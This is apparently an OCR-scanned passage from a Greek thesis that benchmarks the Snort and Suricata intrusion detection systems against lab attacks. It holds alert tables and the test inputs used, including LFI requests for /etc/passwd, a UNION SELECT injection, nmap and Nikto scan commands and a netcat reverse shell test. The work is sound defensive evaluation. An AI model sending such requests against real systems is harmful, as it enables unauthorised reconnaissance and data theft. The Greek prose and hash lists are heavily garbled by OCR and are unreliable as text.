123  4031049fe402e8ba587583c08a25221a 2 0
124 be73d3f4160970bfddb2f0102ae34e74 2 0
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125  4378bb2be0e41569bcce202f86e505f6 2 0
126 c09ce4683010a793267ebc71f2cd7f23 2 0
127  43c2aad81665ddf0e585f50771a20582 2 0
128 ¢286b42be919c5c0767f346224557690 2 0
129  43ch55861b7fcf1dfb6968c9efl10bce 2 0
130 ¢c2db03d68a401d0853becf1513687942 2 0
131 4407f42fa696c32ca473bead96e36aca 2 0
132  c38acab908fac3bffobdd7424f7c7760 2 0
133  44a23a54587581144b492579d67d742d 2 0
134 ¢38c4e73365db243a046b2e63a346fbf 2 0
135 49cfa73a76f04572d7c31f885045fa38 2 0
136  c465d32ee5e8c927fcaca8d263af4191 2 0
137  4aeOclla28edbdfl32cfOebB8e823de74 0 0
138  c6cb0f4ad10feaad68b095780438cf2f 2 0
139 4afbc36385ed847ala6f6a5618fb47cl 2 0
140 c764d2b65ecfef99609ac89dch0fb251 2 0
141 4b2947d31el5ac41ea3bfd9f46f168d5 2 0
142 ¢77¢55cc391ff4370b7b386b73f3ccch 2 0
143  4bb64clda2f73dal1f331a96d55d63e2 2 0
144  ¢8581fd341459639f4e93361albh88e2 2 0
145  4f754a8ac2db2577a4ac0324985cd997 2 0
146  c9c89ebc508c783defe7042eb9c0e5cc 2 0
147  4fcbh63eee95e7bd64662c9330f3d62d4 2 0
148  ca9ef5df836e6bd869ccacf2121f0ed7 2 0
149  50b9bee0213917e52d32d82907234aeb 2 0
150 caad90012e22ab7625ee942f80b349c47 2 0
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151 511625f5fa0315b5a870029ae3338464 2 0
152  ¢cb3ch17527bfde64b455f9¢5385975¢8 2 0
153  51241d683dc9f24152bdd894658d72db 2 0
154  ¢c380bfd97164aff5878075e78570ada 2 0
155 51d3e2bd306495de50bfd0f2f4e19ae9 0 0
156 cd60b247d3d740749dac7f619c332e2e 2 0
157 535abf5702d8f3de247b5103e31150f5 2 0
158 cd6323a42b6ebfablfc1b2d80fb7942a 2 0
159 536c0afe4d655a66dccad4af9679caad 2 0
160 cd72aa45ccf5607d340f5f167e1c7983 2 0
161 538582c697d3bb59d408da61279ac75b 2 0
162 cdb5e82e4d07911f9add5cdcf817e9ed 2 0
163  53c39496579bchda962d93734552397b 2 0
164  cde0dc22bf8d479536f2a75e5324c400 2 0
165 53d54ffe118642102fe626649f9ffdba 2 0
166 ceOba2da885bal4ad4793105de39e040 2 0
167 541e9691816fecdeb59204d92e846240 2 0
168 ceebh36d53f221227ed0336¢76f3762a 2 0
169 54267a90492108fh4d0894553556¢155 2 0
170 d000e74163e34fc65914676674776284 2 0
171 554e71bfc718915135125752cf66dec2 2 0
172 d3c23ff3f116f0f80cb8d3e0e1496d93 2 0
173  569607bf8315d9143fe3f7d424c3fda9 2 0
174  d406cedabca9al448cd213a68904920f 2 0
175 56ae500c28dd85ac4d711b16e4f2125¢ 2 0
176  d4078fae531644622704b797f13fbe2b 2 0
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177  575c2db4c26b05b862ebb60c5950f14c 2 0
178  d41d8cd98f00b204€9800998ecf8427e 0 0
179 5766bad4473462485e15c4efdb243ch68 2 0
180 d4b98bda9c3ae0810a61f95863f4f81e 0 0
181 576b214a1e5b6649f6677e20315a7ead 2 0
182 d7520d1957d5ef26e068727fac4c4f02 0 0
183  5800f546b535bd2b4e505b5¢c9be753ff 0 0
184  d7597839542d2f48ee8e9bde0b04d899 2 0
185 58d2c062fe278cd0e97964e7e6a0a3bb 2 0
186 d80eb2lcfe8adla710c8652b13f8b7ac 2 0
187 58de08c1155a775b760049dff3f5abed 2 0
188  dB824959ed2d54da5d6075eff69b4a482 2 0
189 595a9a9074e0845636a5b4c7bblb157a 2 0
190 dB89f6ce25h329745257139e82eb891ae 2 0
191 5a0aac44ddaadle512a0d505c217baff 2 0
192  d928cd3fec9f18eccOceb078d69bbabb 2 0
193 5b7541f3648cc440405179ch5¢194644 2 0
194  dc10b5d0b88799e340da98bf0c5077¢c5 2 0
195 5bbdbec981b0708ea29edff2f8d78bcf 0 0
196 dd3dee576d0cb4abfed00f97f0c71cld 2 0
197  5c31ef69086467c073dde69cf3298555 2 0
198 5cd2b97590afb82016aa56677cf0f42e 2 0
199 elafd6deb4300e04d134e193935800cd 2 0
200 61baabd6fc12e01ff73ceacc07c84f9a 2 2
201 elfcbc9bcfbl197ee47a94eeedef41cOc 2 0
202 6227e1594775773a182e1b631db5f6bb 2 0
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203 e5c69e5a06¢39d4fe375ffbae676d1cO 2 0
204  63523effac8cObf379ca6d69bb3227ad 2 0
205 e61e11149b91b9bc963bebbede604afc 2 0
206  64f258918c1122b89468bb0ffbaff02d 2 0
207 e62fa5052ff3b85chbh392ac32b151976 2 0
208 6634eacd3dae03be9767ac91b71decha 0 0
209 e6f110cf24ff8f7aaa7d8aeba3e71d16 2 0
210 66753cadch8hd537af50f2ae92d7627b 2 0
211 e73855f64aedd83241b6312c05b4881c 2 0
212 6764488f739f9198381c056850bb6d9c 2 0
213  e745454ech3bb27d4d66702673715a74 2 0
214  67b19a04bdbd0adc3b39130a26331493 0 0
215 e9a96d2ed31a4c08559d46e7ce7d74e2 2 0
216 67b4eaf0c10c4de37e094a6e7d09c8dc 2 0
217 e9d4bfdaf546a9837de360cfac9902aa 2 0
218 683b003e9ecfd3834a318fad65d39e34 0 0
219 eaad3fc3b940a892ff323ad4025ab08d 2 0
220 68fe3bOadfce215b95e55824913ff67d 2 0
221 ebaa6a46df195faabc0dd163f9e1464f 0 0
222 6932d141916cd95e3acaa3952¢c7596e4 2 0
223 edb05dede64aeb5da2aacdc6bc3839cc 2 0
224 69e7de7b23acaff1e9417deedfae8b42 2 2
225 eed8e7000326b8a3c3f234db361c862a 2 0
226  6b568dd640ch15a8994697adf9e7a399 2 0
227 ef626ba8a89a72ca05b8f7h857f17ec5 2 0
228 6el4c7ad24c2eef7f37810ff65650837 0 0
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229 efae888ca5a03c40543e910be5ha025d 2 0
230 efae888ca5a03c40543e910be5ha025d 2 0
231 f182075f3658f40e4a546f6a4423d261 2 0
232 71803d893ed7d052fdb58f10da200fe9 0 0
233 f51d3fb324d8f11b734ca63dbcchdc32 0 0
234 719cf2bab291da52e495b86929b7ea7d 2 0
235 651018372828dadc90a51904b1a5413 2 0
236  721601bdbec57ch103a9717eeefObfca 2 0
237  f68515f0fc01a9343b66fe5c30d82062 2 0
238  722efe25f0d973fbb684cc32dalf693e 2 0
239 f6b58fa2a31c4be25da245d389bb577a 2 0
240 72d6d864205b0f1b32bbc9a7e5184ee7 2 0
241  f75feb1d83cd83059b404e785dchbcc3 2 0
242  738af108a6edd46536492b1782589a04 2 0
243  1928c39f0bfebaaf3a5fb149557ddf66 2 0
244  73fadb8f36e4f34a6d4719dc4cche666 0 0
245 fa985ch0ce8b83631f884571e0b8ea88 2 0
246  745a347637b0603a76abbchle8277d1c 2 0
247 faa9lead3f5e0c8c144ac2675497b585 2 0
248 757ead51fce397101a675d9bcca9do8f 2 0
249  fc37c944af761c58e742959be93217hd 2 0
250 75d92097d4ae109aa5d199aa97e08569 2 0
251 fcc26726c3a48aled3b9de955024fh87 2 0
252  76f7e8dc68b364abfd893f0e9340fae8 2 0
253 fd81375f921e672369862477c2f9dd2 0 0
254  790b4a2c03086bd1917433a5084d2068 0 0
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255 ffd470eed605a976d8f14b7e9015d90b 2 0
256  7b80f7ed7052405cdf6434ff5bc7c175 2 0
257 ffe21c5f4cecalOeaaeebaae4b5360eb8 2 0

O IMivakag 8-5 mepriapPfavel Tig £100TONCELS TOV TOPAYONKAY Y10, TO, TOPOUTAV® opyEio and To Snort.

IMivaxkag 8-5: Eidomou)osic wov mapaydnkev amo o Snort ywa to Client Side Attacks

A/A Yrmoypagn I1M00g

1 [**] [1:10504:6] INDICATOR-SHELLCODE unescape encoded shellcode [**]

[Classification: Executable Code was Detected] [Priority: 1]

2 [**] [1:10505:7] INDICATOR-SHELLCODE unescape encoded shellcode [**]

1
[Classification: Executable Code was Detected] [Priority: 1]
3 [**][1:11258:16] FILE-OFFICE Microsoft Office Excel Malformed Named
Graph Information unicode overflow attempt [**] [Classification: Attempted 1
User Privilege Gain] [Priority: 1]
4 [**] [1:11290:13] FILE-OFFICE Microsoft Office Excel malformed named
graph information ascii overflow attempt [**] [Classification: Attempted User 1
Privilege Gain] [Priority: 1]
5  [**][1:12799:6] INDICATOR-SHELLCODE base64 x86 NOOP [**]
8
[Classification: Executable Code was Detected] [Priority: 1]
6  [**][1:12802:6] INDICATOR-SHELLCODE base64 x86 NOOP [**]
8
[Classification: Executable Code was Detected] [Priority: 1]
7 [**][1:1394:14] INDICATOR-SHELLCODE x86 inc ecx NOOP [**]
68
[Classification: Executable Code was Detected] [Priority: 1]
8 [**] [1:15306:16] FILE-IDENTIFY Portable Executable binary file magic 3
detected [**] [Classification: Misc activity] [Priority: 3]
9 [**] [1:15357:6] FILE-PDF Adobe Reader JBIG2 remote code execution .
attempt [**] [Classification: Attempted User Privilege Gain] [Priority: 1]
10  [**][1:15697:5] INDICATOR-OBFUSCATION Generic javascript obfuscation L

attempt [**] [Classification: Attempted User Privilege Gain] [Priority: 1]
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18

19

20

21

[**] [1:15709:10] FILE-PDF Adobe Acrobat and Acrobat Reader FlateDecode
integer overflow attempt [**] [Classification: Attempted User Privilege Gain]
[Priority: 1]

[**] [1:15727:18] FILE-PDF attempted download of a PDF with embedded

Flash over http or pop [**] [Classification: Potential Corporate Privacy
Violation] [Priority: 1]

[**]1 [1:16334:10] FILE-PDF Adobe Reader compressed media.newPlayer
memory corruption attempt [**] [Classification: Attempted User Privilege Gain]
[Priority: 1]

[**][1:16633:11] FILE-PDF Adobe Reader File containing Flash use-after-free
attack attempt [**] [Classification: Attempted User Privilege Gain] [Priority: 1]

[**] [1:16642:6] POLICY-OTHER file URI scheme attempt [**] [Classification:

Potential Corporate Privacy Violation] [Priority: 1]

[**] [1:16664:4] FILE-PDF Adobe Reader and Acrobat authplay.dll
vulnerability exploit attempt [**] [Classification: Attempted User Privilege
Gain] [Priority: 1]

[**] [1:16676:7] FILE-PDF Adobe Reader malformed FlateDecode colors

declaration [**] [Classification: Attempted User Privilege Gain] [Priority: 1]

[**][1:16677:7] FILE-PDF Adobe Acrobat and Acrobat Reader malformed
FlateDecode colors declaration [**] [Classification: Attempted User Privilege
Gain] [Priority: 1]

[**] [1:17233:6] FILE-PDF Adobe Reader and Acrobat TTF SING table parsing
remote code execution attempt [**] [Classification: Attempted User Privilege
Gain] [Priority: 1]

[**] [1:17488:13] FILE-OFFICE Microsoft Office Excel Malformed Range
Code Execution attempt [**] [Classification: Attempted User Privilege Gain]
[Priority: 1]

[**] [1:17668:12] FILE-PDF download of a PDF with embedded JavaScript - JS
string attempt [**] [Classification: Potential Corporate Privacy Violation]
[Priority: 1]

17

15

168
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22 [**][1:17808:4] FILE-FLASH Adobe Flash authplay.dll memory corruption

4
attempt [**] [Classification: Attempted User Privilege Gain] [Priority: 1]

23 [**][1:18168:8] INDICATOR-SHELLCODE Possible generic javascript heap
spray attempt [**] [Classification: Attempted User Privilege Gain] [Priority: 1]

24 [**][1:18543:10] FILE-FLASH embedded Shockwave dropper download [**] )
[Classification: Attempted User Privilege Gain] [Priority: 1]

25  [**][1:18545:8] FILE-OFFICE Microsoft Office Excel with embedded Flash .
file transfer [**] [Classification: Attempted User Privilege Gain] [Priority: 1]

26 [**][1:18680:12] FILE-OFFICE Microsoft Office RTF malformed pfragments o

field [**] [Classification: Attempted User Privilege Gain] [Priority: 1]

27  [**][1:18681:9] FILE-PDF transfer of a PDF with embedded JavaScript -
JavaScript string attempt [**] [Classification: Potential Corporate Privacy 180
Violation] [Priority: 1]

28  [**][1:18682:9] FILE-PDF transfer of a PDF with OpenAction object attempt

64

[**] [Classification: Potential Corporate Privacy Violation] [Priority: 1]

29  [**][1:18684:6] FILE-PDF PDF file with embedded PDF object [**] !
[Classification: Potential Corporate Privacy Violation] [Priority: 1]

30  [**][1:18685:9] FILE-OFFICE RTF file with embedded OLE object [**] s
[Classification: Potential Corporate Privacy Violation] [Priority: 1]

31  [**][1:18706:12] FILE-OFFICE Microsoft Office RTF malformed second
pfragments field [**] [Classification: Attempted User Privilege Gain] [Priority: 1

1]

32 [**][1:18988:6] FILE-PDF Adobe Reader and Acrobat TTF SING table parsing
remote code execution attempt [**] [Classification: Attempted User Privilege 3
Gain] [Priority: 1]

33 [**][1:18989:7] FILE-PDF Adobe Reader and Acrobat TTF SING table parsing
remote code execution attempt [**] [Classification: Attempted User Privilege 2
Gain] [Priority: 1]

34 [**][1:19074:4] WEB-CLIENT javascript uuencoded noop sled attempt [**]
[Classification: Misc activity] [Priority: 3]
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35  [**] [1:19408:5] FILE-FLASH Adobe Flash Player newfunction memory
corruption exploit attempt [**] [Classification: Attempted Administrator 2
Privilege Gain] [Priority: 1]

36 [**][1:2010881:5] ET WEB_CLIENT PDF With Unescape Method Defined
Possible Hostile Obfuscation Attempt [**] [Classification: Potentially Bad 1
Traffic] [Priority: 2]

37  [**][1:2011506:2] ET WEB_CLIENT PDF With eval Function - Possibly )
Hostile [**] [Classification: Potentially Bad Traffic] [Priority: 2]

38  [**][1:2011507:6] ET WEB_CLIENT PDF With Embedded File [**] 2
[Classification: Potentially Bad Traffic] [Priority: 2]

39  [**][1:2011528:6] ET WEB_CLIENT PDF Name Representation Obfuscation 1
of /Subtype [**] [Classification: Potentially Bad Traffic] [Priority: 2]

40  [**][1:2012111:2] ET SHELLCODE Possible UTF-16 %u9090 NOP SLED L
[**] [Classification: Executable Code was Detected] [Priority: 1]

41  [**][1:2012254:1] ET SHELLCODE Common %u0a0a%u0ala UTF-16 Heap !
Spray String [**] [Classification: Executable Code was Detected] [Priority: 1]

42 [**][1:2012258:1] ET SHELLCODE Common %u0c0c%u0cOc UTF-16 Heap L
Spray String [**] [Classification: Executable Code was Detected] [Priority: 1]

43  [**][1:2012964:1] ET SHELLCODE Possible 0x0c0cOcOc Heap Spray Attempt .
[**] [Classification: Executable Code was Detected] [Priority: 1]

44 [**][1:2013147:1] ET SHELLCODE Possible %u4141%u4141 UTF-16 Heap L
Spray Attempt [**] [Classification: Executable Code was Detected] [Priority: 1]

45  [**][1:2013153:1] ET WEB_CLIENT Adobe Acrobat Reader FlateDecode
Stream Predictor Exploit Attempt [**] [Classification: Attempted User Privilege 6
Gain] [Priority: 1]

46 [**][1:20137:4] WEB-CLIENT Possible generic javascript heap spray attempt L
[**] [Classification: Attempted User Privilege Gain] [Priority: 1]

47  [**][1:2014154:3] ET CURRENT_EVENTS DRIVEBY PDF Containing
Subform with JavaScript [**] [Classification: Attempted User Privilege Gain] 1
[Priority: 1]
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A/A Ynoypagi) 12 00¢g

48  [**] [1:2014926:2] ET INFO PDF embedded in XDP file (Possibly Malicious) .
[**] [Classification: Misc Attack] [Priority: 2]

49  [**][1:2015954:1] ET INFO PDF /FlateDecode and PDF version 1.0 [**] 4
[Classification: A Network Trojan was Detected] [Priority: 1]

50  [**][1:2015955:1] ET CURRENT_EVENTS PDF /FlateDecode and PDF
version 1.1 (seen in pamdgl EK) [**] [Classification: A Network Trojan was 1
Detected] [Priority: 1]

51  [**][1:2016001:4] ET CURRENT_EVENTS PDF /XFA and PDF-1.[0-4] Spec
Violation (seen in pamdgl and other EKSs) [**] [Classification: A Network 1
Trojan was Detected] [Priority: 1]

52 [**][1:22101:5] FILE-OFFICE Microsoft Office RTF malformed pfragments o
field [**] [Classification: Attempted User Privilege Gain] [Priority: 1]

53  [**][1:23041:1] FILE-PDF EmbeddedFile contained within a PDF [**] .
[Classification: A Network Trojan was Detected] [Priority: 1]

54  [**][1:23256:3] FILE-IDENTIFY Armadillo v1.71 packer file magic detected 3
[**] [Classification: Misc activity] [Priority: 3]

55  [**][1:23861:5] FILE-IMAGE heapspray characters detected - binary [**] .
[Classification: Attempted User Privilege Gain] [Priority: 1]

56  [**][1:24154:1] FILE-PDF Adobe Acrobat Reader free text annotation invalid
IT value denial of service attempt [**] [Classification: A Network Trojan was 4
Detected] [Priority: 1]

57  [**] [1:24267:1] FILE-OFFICE Microsoft Office Excel Malformed Range Code
Execution attempt [**] [Classification: Attempted User Privilege Gain] [Priority: 3
1]

58  [**][1:25061:1] FILE-IDENTIFY Microsoft Software Installer MSI binary file L
magic detected [**] [Classification: Misc activity] [Priority: 3]

59  [**][1:3820:16] FILE-IDENTIFY Microsoft Windows CHM file magic .
detected [**] [Classification: Attempted User Privilege Gain] [Priority: 1]

60  [**][1:648:13] INDICATOR-SHELLCODE x86 NOOP [**] [Classification: 63
Executable Code was Detected] [Priority: 1]
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61  [**][1:8445:11] FILE-OFFICE Microsoft Windows RTF file with embedded
object package download attempt [**] [Classification: Misc activity] [Priority: 3]

Avtiotoiywg, o [Mivaxoag 8-6 meptlapfavel Tic €100 GEIC TOV TaPdyONKAY Yo To TUPUTAVD apyeia

omtd to Suricata.

IMivakag 8-6: Evdomomesic mov mapaydnkav and to Suricata ywa to Client Side Attacks

A/A Yrmoypagn IM00¢
1 [**] [1:2014926:3] ET INFO PDF embedded in XDP file (Possibly Malicious) !
[**] [Classification: Misc Attack] [Priority: 2]
2 [**][1:648:13] INDICATOR-SHELLCODE x86 NOOP [**] [Classification:
1
Executable code was detected] [Priority: 1]
3 [**][1:2015955:4] ET CURRENT_EVENTS PDF /FlateDecode and PDF
version
1

1.1 (seen in pamdgl EK) [**] [Classification: A Network Trojan was detected]
[Priority: 1]

4 [**][1:2013153:2] ET WEB_CLIENT Adobe Acrobat Reader FlateDecode
Stream Predictor Exploit Attempt [**] [Classification: Attempted User Privilege 1
Gain] [Priority: 1]

5 [**][1:16676:7] FILE-PDF Adobe Reader malformed FlateDecode colors
declaration [**] [Classification: Attempted User Privilege Gain] [Priority: 1]

8.2.2.2 Test Rules

Avt 1 xonyopia SoKIpH®V glxe g 61dY0 va a&toroynBel n duvatdtrta tov IDSS va a&lomomocovv
TIG VIOYPOQEG 7OV SBETOLV Ylo. TOV EVIOMICHO TeV avtictoywv ameld@v. O Ilivaxog 8-7
mepthapfavel ) poplodotnon mov éhafe 1o kabe IDS yuo kdBe pio amd TIC SOKIWES VTG TNG
Katnyopiog. Amo To amoTEAEGLOTA TOV O100VTOL GTI GUVEYELD, TPOKVTTEL 1] dlomioTwor OTL To Snort
éyel éva mpoPadioua évavtt tov Suricata otov eviomioud TV copmoeny Bupdv, To 0moio opeiietat
otov mpoemeEepyootn sfportscan mwov drabétel. To Suricata av kot Topnyaye EWO0TOMGELS Y10 OVTEG

TIC GOPADGELS, Kapio omd avTég dev KATAOEIKVVE TNV TPOYUOTOTOINGT CAPWOOTG.
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IMivaxkag 8-7: AvaluTikd otovysio poproddTnong dokipdv katnyopiog Test Rules

A/A  Aoxipn Moépwo Snort  Moépra Suricata
1 Simple LFI 2 2
2 LFI using NULL byte 2 2
3 Full SYN Scan 2 0
4 Full Connect() Scan 2 0
5  SQL Injection 2 2
6  Netcat Reverse Shell 2 2
7 Nikto Scan 2 2

8.2.2.2.1 Simple LFI

H evtoAn mov ekteléotnke yio ouThv TN SOKIU ey 1 akOAovdn:

GET /index.php?page=../../../Jetc/passwd HTTP/1.1\r\nHost: %localhost%\r\nUser-Agent: Mozilla/5.0
(Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041202 Firefox/1.0\r\n\r\n

O mivakog mov axoAovdel Teplapfavel Tig £100TOMGELG TOL TaPdyONKay Kot arnd ta dvo IDS.

IMivakag 8-8: Eidomouosic Tov Snort ko Suricata ywe to Simple LFI

[**] [1:1122:12] SERVER-WEBAPP /etc/passwd file access attempt [**] [Classification:
Attempted Information Leak] [Priority: 2]

8.2.2.2.2 LFI using NULL byte

H evtoAn mov ekteléotnke Yo auThv T SOKIU ey 1 akOAovin:

GET  /index.php?page=../../../letc/passwd%00 HTTP/1.1\r\nHost: 127.0.0.1\r\nUser-Agent:
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041202 Firefox/1.0\r\n\r\n

O mivakog wov axoAovdel Tepthapfavel Tic £100TOMGELG TOL TapdyONKay Kot arnd ta dvo IDS.

IMivaxkag 8-9: Eidomouosic Tov Snort ko Suricata ywe to LF1 using NULL byte

[**] [1:1122:12] SERVER-WEBAPP /etc/passwd file access attempt [**] [Classification:
Attempted Information Leak] [Priority: 2]
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8.2.2.2.3 Full SYN Scan

H evtoAn mov ekteléotnke Yo ouThv TN SOKIU ey 1 akOAovin:
{usr/bin/sudo /usr/local/bin/nmap -sS -p- 192.168.56.51
O1 wivaxkeg Tov okoAovBoVV TEPLOUPAVOLV TIG E00TOCELS TOL TapdyOnKav amd to kabe IDS.

MMivaxkag 8-10: Edomoujoeig Tov Snort ywe to Full SYN Scan

[**] [122:1:1] (portscan) TCP Portscan [**] [Classification: Attempted Information Leak] [Priority:
2]

[**] [1:2010937:2] ET POLICY Suspicious inbound to mySQL port 3306 [**] [Classification:
Potentially Bad Traffic] [Priority: 2]

[**] [1:2010939:2] ET POLICY Suspicious inbound to PostgreSQL port 5432 [**] [Classification:
Potentially Bad Traffic] [Priority: 2]

[**] [1:2010938:2] ET POLICY Suspicious inbound to mSQL port 4333 [**] [Classification:
Potentially Bad Traffic] [Priority: 2]

[**] [1:1421:15] SNMP AgentX/tcp request [**] [Classification: Attempted Information Leak]
[Priority: 2]

ivaxkag 8-11: Eidomouscig Tov Suricata ywe to Full SYN Scan

[**] [1:2010937:2] ET POLICY Suspicious inbound to mySQL port 3306 [**] [Classification:
Potentially Bad Traffic] [Priority: 2]

8.2.2.2.4 Full Connect() Scan

H evtoAr mov ekteAéotnKe Yo o TV TN SOKIUN HTa 1 akOAovON:
{usr/local/bin/nmap -sT -p- 192.168.56.51
O1 wivaxeg Tov okoAovBovV TEPLaUPAVOLV TIG E00TOCGELS TOL TapdyOnKkay amd to kabe IDS.

IMivakag 8-12: Ewdomomosig tov Snort ywe to Full Connect() Scan

[**] [122:1:1] (portscan) TCP Portscan [**] [Classification: Attempted Information Leak] [Priority:
2]
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[**] [1:2010937:2] ET POLICY Suspicious inbound to mySQL port 3306 [**] [Classification:
Potentially Bad Traffic] [Priority: 2]

IMivaxag 8-13: Ewdomomosgig Tov Suricata ye to Full Connect() Scan

[**] [1:2010937:2] ET POLICY Suspicious inbound to mySQL port 3306 [**] [Classification:
Potentially Bad Traffic] [Priority: 2]

[**] [1:2002911:4] ET SCAN Potential VNC Scan 5900-5920 [**] [Classification: Attempted
Information Leak] [Priority: 2]

[**] [1:2010936:2] ET POLICY Suspicious inbound to Oracle SQL port 1521 [**] [Classification:
Potentially Bad Traffic] [Priority: 2]

[**] [1:2002910:4] ET SCAN Potential VNC Scan 5800-5820 [**] [Classification: Attempted
Information Leak] [Priority: 2]

8.2.2.25 SQL Injection

H evtoAr mov ekteAéotnKe Yo 0TV TN SOKIUN HTay 1 akOAovON:
GET /form.php?q=1+UNION+SELECT+VERSION%28%29 HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n
O1 ivakeg Tov akolovBovV TepLapuBavouy Tig 1000 GEIS TOL TapdyOnkay amd to kabe IDS.

IMivaxkag 8-14: Eidomomesig Tov Snort yia to SQL Injection

[**] [1:2011037:3] ET WEB_SERVER Possible Attempt to Get SQL Server Version in URI using
SELECT VERSION [**] [Classification: Web Application Attack] [Priority: 1]

[**] [1:2006446:11] ET WEB_SERVER Possible SQL Injection Attempt UNION SELECT [**]
[Classification: Web Application Attack] [Priority: 1]

[**] [1:13990:13] SQL union select - possible sqgl injection attempt - GET parameter [**]
[Classification: Misc Attack] [Priority: 2]

IMivaxkag 8-15: Eldomomoeig Tov Suricata ywo to SQL Injection

[**] [1:2011037:3] ET WEB_SERVER Possible Attempt to Get SQL Server Version in URI using
SELECT VERSION [**] [Classification: Web Application Attack] [Priority: 1]
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[**] [1:2006446:11] ET WEB_SERVER Possible SQL Injection Attempt UNION SELECT [**]
[Classification: Web Application Attack] [Priority: 1]

8.2.2.2.6 Netcat Reverse Shell

T v extéleon athg TG dokung avoiydnke éva socket otn BOpa 22 tov 6TdYOV KoL EKTEAEGTNKE

N TOPOKAT® EVIOAN:
/bin/sh
O mivaxog mov akoAovdel TeptlapuPavel Ti¢ £100T0MGELS TOL TapdyOniay kot arnd ta dvo IDS.

IMivaxkag 8-16: Eidomouocig Tv Snort ko Suricata yw to Netcat Reverse Shell

[**] [1:1324:11] INDICATOR-SHELLCODE ssh CRC32 overflow /bin/sh [**] [Classification:
Executable Code was Detected] [Priority: 1]

8.2.2.2.7 Nikto Scan

H evtoAn mov ekteAéotnKe Yo oUTHV TN SOKIUN HTay 1 akOAovOn:

fusr/bin/sudo /pentest/web/nikto/nikto.pl -config /pentest/web/nikto/nikto.conf -h 192.168.56.51 -
Plugins cgi

O1 wivakeg Tov okoAovBoVV TEPLaUBAVOLV TIG EI00TONGEIS TTOL TapdyOnKay amd to kabe IDS.

IMivakag 8-17: Eidomonjesig Tov Snort yia o Nikto Scan

[**] [1:1071:11] SERVER-WEBAPP .htpasswd access [**] [Classification: Web Application
Attack] [Priority: 1]

[**] [1:2016141:2] ET INFO Exectuable Download from dotted-quad Host [**] [Classification: A
Network Trojan was Detected] [Priority: 1]

[**] [1:1044:16] SERVER-IIS webhits access [**] [Classification: Access to a Potentially
Vulnerable Web Application]

[Priority: 2]

[**] [1:971:23] SERVER-IIS ISAPI .printer access [**] [Classification: Access to a Potentially
Vulnerable Web Application]

[Priority: 2]
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[**] [1:1130:11] SERVER-WEBAPP .wwwacl access [**] [Classification: Attempted Information
Leak] [Priority: 2]

[**] [1:1131:11] SERVER-WEBAPP .wwwacl access [**] [Classification: Attempted Information
Leak] [Priority: 2]

[**] [1:1245:22] SERVER-IIS ISAPI .idq access [**] [Classification: Access to a Potentially
Vulnerable Web Application] [Priority: 2]

[**] [1:20173:3] SCADA Cogent DataHub server-side information disclosure [**] [Classification:
Web Application Attack] [Priority: 1]

[**] [1:987:28] FILE-IDENTIFY .htr access file download request [**] [Classification: Misc
activity] [Priority: 3]

[**] [1:1242:22] SERVER-IIS ISAPI .ida access [**] [Classification: Access to a Potentially
Vulnerable Web Application] [Priority: 2]

[**] [1:17429:10] OS-WINDOWS Microsoft Windows ASP.NET information disclosure attempt
[**] [Classification: Misc activity] [Priority: 3]

[**] [1:1129:12] SERVER-WEBAPP .htaccess access [**] [Classification: Attempted Information
Leak] [Priority: 2]

[**] [1:977:23] SERVER-IIS .cnf access [**] [Classification: Access to a Potentially Vulnerable
Web Application] [Priority: 2]

[**] [1:1668:13] SERVER-WEBAPP /cgi-bin/ access [**] [Classification: Web Application
Attack] [Priority: 1]

[**] [1:1201:12] INDICATOR-COMPROMISE 403 Forbidden [**] [Classification: Attempted
Information Leak] [Priority: 2]

[**] [1:1880:10] SERVER-WEBAPP oracle web application server access [**] [Classification:
Access to a Potentially Vulnerable Web Application] [Priority: 2]

[**] [1:1029:17] SERVER-IIS scripts-browse access [**] [Classification: Web Application Attack]
[Priority: 1]

IMivaxkac 8-18: Eidomouscig Tov Suricata ywo to Nikto Scan

[**] [1:971:23] SERVER-IIS ISAPI .printer access [**] [Classification: access to a potentially

vulnerable web application] [Priority: 2]
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[**] [1:1245:22] SERVER-IIS ISAPI .idq access [**] [Classification: access to a potentially

vulnerable web application] [Priority: 2]

[**] [1:1044:16] SERVER-1IS webhits access [**] [Classification: access to a potentially

vulnerable web application] [Priority: 2]

[**] [1:2016141:3] ET INFO Exectuable Download from dotted-quad Host [**] [Classification: A
Network Trojan was detected] [Priority: 1]

[**] [1:22:1] FILE pdf claimed, but not pdf [**] [Classification: (null)] [Priority: 3]

[**] [1:1129:12] SERVER-WEBAPP .htaccess access [**] [Classification: Attempted Information
Leak] [Priority: 2]

[**] [1:987:28] FILE-IDENTIFY .htr access file download request [**] [Classification: Misc
activity] [Priority: 3]

[**] [1:977:23] SERVER-IIS .cnf access [**] [Classification: access to a potentially vulnerable web
application] [Priority: 2]

[**] [1:1131:11] SERVER-WEBAPP .wwwacl access [**] [Classification: Attempted Information
Leak] [Priority: 2]

[**] [1:1242:22] SERVER-IIS ISAPI .ida access [**] [Classification: access to a potentially

vulnerable web application] [Priority: 2]

[**] [1:1130:11] SERVER-WEBAPP .wwwacl access [**] [Classification: Attempted Information
Leak] [Priority: 2]

[**] [1:1071:11] SERVER-WEBAPP .htpasswd access [**] [Classification: Web Application
Attack] [Priority: 1]

[**] [1:1668:13] SERVER-WEBAPP /cgi-bin/ access [**] [Classification: Web Application
Attack] [Priority: 1]

[**] [1:1201:12] INDICATOR-COMPROMISE 403 Forbidden [**] [Classification: Attempted
Information Leak] [Priority: 2]

[**] [1:1880:10] SERVER-WEBAPP oracle web application server access [**] [Classification:

access to a potentially vulnerable web application] [Priority: 2]

[**] [1:1029:17] SERVER-IIS scripts-browse access [**] [Classification: Web Application Attack]
[Priority: 1]
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8.2.2.3 Bad Traffic

Avti 1 Kotnyopio SOKIUGV TEPEAGUPOVE TNV OTOGTOAN MOKETWOV OV O€ GUUUOPPOVOVTOL UE TO
RFCs, pe oxomd tn peAétn g ovumepipopdg g pnyovhg oviyvevone. O Ilivaxog 8-19
neptlapPavel T poprodotnon mov lafe to kdbe IDS y kdbe pio omd TG SoKEG awTNG TG

KaTnyopiog.

IMivakag 8-19: Avalvtikd etovycio poprodotnens doxkipdv katnyopiog Bad Traffic

A/A  Aoxipn Moépro. Snort  Mépro Suricata
1 Nmap Xmas scan 0 0
2 Nmap FIN scan 0 0
3 Nmap NULL scan 0 0
4 Malformed Traffic 0 2
5  Land Attack 0 0

8.2.2.3.1 Nmap Xmas scan

H evtoAn mov ekteAéotnKe Yo o TV TN SOKIUN fTay 1 akOAovOn:
{usr/bin/sudo /usr/local/bin/nmap -sX -p 80 192.168.56.51
